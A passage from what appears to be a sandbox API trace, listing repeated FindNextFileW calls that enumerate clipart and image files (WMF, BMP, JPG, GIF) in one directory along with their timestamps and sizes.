nFileSizeLow=0x39f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02522_.WMF", cAlternateFileName="")) returned 1 [0269.821] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02950_.WMF", cAlternateFileName="")) returned 1 [0269.821] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02957_.WMF", cAlternateFileName="")) returned 1 [0269.822] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b17c400, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b17c400, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03236_.WMF", cAlternateFileName="")) returned 1 [0269.822] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b00e400, ftCreationTime.dwHighDateTime=0x1bd4afa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b00e400, ftLastWriteTime.dwHighDateTime=0x1bd4afa, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03241_.WMF", cAlternateFileName="")) returned 1 [0269.822] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb921ed00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb921ed00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3380, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03257_.WMF", cAlternateFileName="")) returned 1 [0269.822] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31379600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31379600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03331_.WMF", cAlternateFileName="")) returned 1 [0269.822] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe160cb00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe160cb00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x282c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03339_.WMF", cAlternateFileName="")) returned 1 [0269.822] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2108, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03451_.WMF", cAlternateFileName="")) returned 1 [0269.823] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d695e00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d695e00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1f24, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03453_.WMF", cAlternateFileName="")) returned 1 [0269.823] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03459_.WMF", cAlternateFileName="")) returned 1 [0270.558] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03464_.WMF", cAlternateFileName="")) returned 1 [0270.558] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03466_.WMF", cAlternateFileName="")) returned 1 [0270.559] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3998, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03470_.WMF", cAlternateFileName="")) returned 1 [0270.559] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3716500, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3716500, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03513_.WMF", cAlternateFileName="")) returned 1 [0270.560] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32062000, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32062000, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x1868, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03668_.WMF", cAlternateFileName="")) returned 1 [0270.560] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb300a00, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb300a00, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03731_.WMF", cAlternateFileName="")) returned 1 [0270.560] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd176e300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd176e300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE03795_.WMF", cAlternateFileName="")) returned 1 [0270.560] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14937f00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14937f00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x1020, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE04050_.WMF", cAlternateFileName="")) returned 1 [0270.561] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05665_.WMF", cAlternateFileName="")) returned 1 [0270.561] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f24df00, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f24df00, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x167c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05710_.WMF", cAlternateFileName="")) returned 1 [0270.561] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49073b00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49073b00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05869_.WMF", cAlternateFileName="")) returned 1 [0270.561] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44428700, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44428700, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05870_.WMF", cAlternateFileName="")) returned 1 [0270.561] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x671b6e00, ftCreationTime.dwHighDateTime=0x1bd4bfa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x671b6e00, ftLastWriteTime.dwHighDateTime=0x1bd4bfa, nFileSizeHigh=0x0, nFileSizeLow=0x7fce, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05930_.WMF", cAlternateFileName="")) returned 1 [0270.562] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf03a600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf03a600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE06049_.WMF", cAlternateFileName="")) returned 1 [0270.562] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59d01210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4048, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE06450_.WMF", cAlternateFileName="")) returned 1 [0270.562] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf15a1100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf15a1100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x629, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH00601G.GIF", cAlternateFileName="")) returned 1 [0270.562] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe86e3d00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe86e3d00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x8628, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH00780U.BMP", cAlternateFileName="")) returned 1 [0270.562] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c100, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45c100, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01035U.BMP", cAlternateFileName="")) returned 1 [0270.563] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x211bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01046J.JPG", cAlternateFileName="")) returned 1 [0270.563] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4a3a00, ftCreationTime.dwHighDateTime=0x1bd50ad, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd4a3a00, ftLastWriteTime.dwHighDateTime=0x1bd50ad, nFileSizeHigh=0x0, nFileSizeLow=0xa202, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01179J.JPG", cAlternateFileName="")) returned 1 [0270.563] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18be, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01213K.JPG", cAlternateFileName="")) returned 1 [0270.563] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c94, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01221K.JPG", cAlternateFileName="")) returned 1 [0270.563] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b36e00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37b36e00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01235U.BMP", cAlternateFileName="")) returned 1 [0270.564] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83e7e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83e7e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01236U.BMP", cAlternateFileName="")) returned 1 [0270.564] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1764, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01239K.JPG", cAlternateFileName="")) returned 1 [0270.564] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb51600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbeb51600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01247U.BMP", cAlternateFileName="")) returned 1 [0270.564] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72230800, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72230800, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x1e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01255G.GIF", cAlternateFileName="")) returned 1 [0270.564] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d799000, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d799000, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01265U.BMP", cAlternateFileName="")) returned 1 [0270.564] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bf3500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8bf3500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01332U.BMP", cAlternateFileName="")) returned 1 [0270.564] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa711900, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa711900, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01478U.BMP", cAlternateFileName="")) returned 1 [0270.565] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47b3800, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa47b3800, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01562U.BMP", cAlternateFileName="")) returned 1 [0270.565] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fb68400, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fb68400, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01607U.BMP", cAlternateFileName="")) returned 1 [0270.565] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a3dc00, ftCreationTime.dwHighDateTime=0x1bd4e60, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35a3dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e60, nFileSizeHigh=0x0, nFileSizeLow=0x9abe, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01931J.JPG", cAlternateFileName="")) returned 1 [0270.565] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x451e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02028K.JPG", cAlternateFileName="")) returned 1 [0270.679] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a415a00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a415a00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02039U.BMP", cAlternateFileName="")) returned 1 [0270.679] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x857ca600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x857ca600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02040U.BMP", cAlternateFileName="")) returned 1 [0270.679] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: 